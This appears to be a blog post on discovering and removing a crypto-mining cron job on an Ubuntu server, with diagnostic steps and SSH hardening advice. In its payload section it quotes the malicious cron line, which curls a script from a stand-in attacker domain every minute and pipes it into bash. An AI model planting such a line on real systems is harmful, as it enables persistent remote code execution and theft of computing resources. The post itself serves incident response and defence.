How I Found an Unknown Cron Job Mining Crypto on My Ubuntu Server
--
Listen
Share
Intro: It started as a slight spike in CPU usage. Nothing dramatic. But something felt…off. What I thought was a background update turned out to be a sneaky cron job mining cryptocurrency. Here’s how I caught it — and how you can protect your own Linux servers from the same fate.
1. Noticing the Signs: CPU Usage Spikes
I ran:
top
The load average was way too high for a quiet server. A mysterious kworker process and unusually high usage by cron were my first clues.
2. Listing Suspicious Cron Jobs
I checked root’s cron jobs:
sudo crontab -l
Then checked system-wide jobs:
ls -l /etc/cron.*cat /etc/crontab
Hidden deep in /etc/cron.d/, I found a script scheduled to run every minute with a suspicious curl download followed by execution.
3. Investigating the Payload
The cron job downloaded a file from a shady-looking domain and executed it:
*/1 * * * * root curl -s http://badactor.site/xmrig.sh | bash
It was a crypto mining script using my server’s CPU to earn money — for someone else.
4. Killing the Miner and Cleaning Up
I ran:
ps aux | grep xmrigsudo kill -9 <PID>
Then I deleted any downloaded payloads and removed the cron job.
5. Finding the Root Cause
How did it get in? I reviewed auth logs:
sudo cat /var/log/auth.log | grep ssh
Turns out, the attacker brute-forced an old, unused account that still had SSH access. Lesson learned.
6. Hardening the Server
✅ Disabled password login:
sudo nano /etc/ssh/sshd_config# Set:PasswordAuthentication no
✅ Used Fail2Ban to block brute-force attempts:
sudo apt install fail2ban
✅ Set up alerts for new cron jobs and processes.
Conclusion:
If your Linux server starts acting strange, don’t ignore it. Attackers often hide in plain sight, using cron and system tools to stay under the radar. Review your logs, check your cron jobs, and harden your system — before it’s too late.
💬 Question: What steps have you taken to monitor cron jobs and system resource usage? 🙏 Thank you for being a part of this security-aware community!
👏 Before you go: Be sure to clap and follow me!
🔗 Follow me on social media: LinkedIn: https://www.linkedin.com/in/bornaly/ Medium: https://medium.com/@bornaly/subscribe
Top comments (0)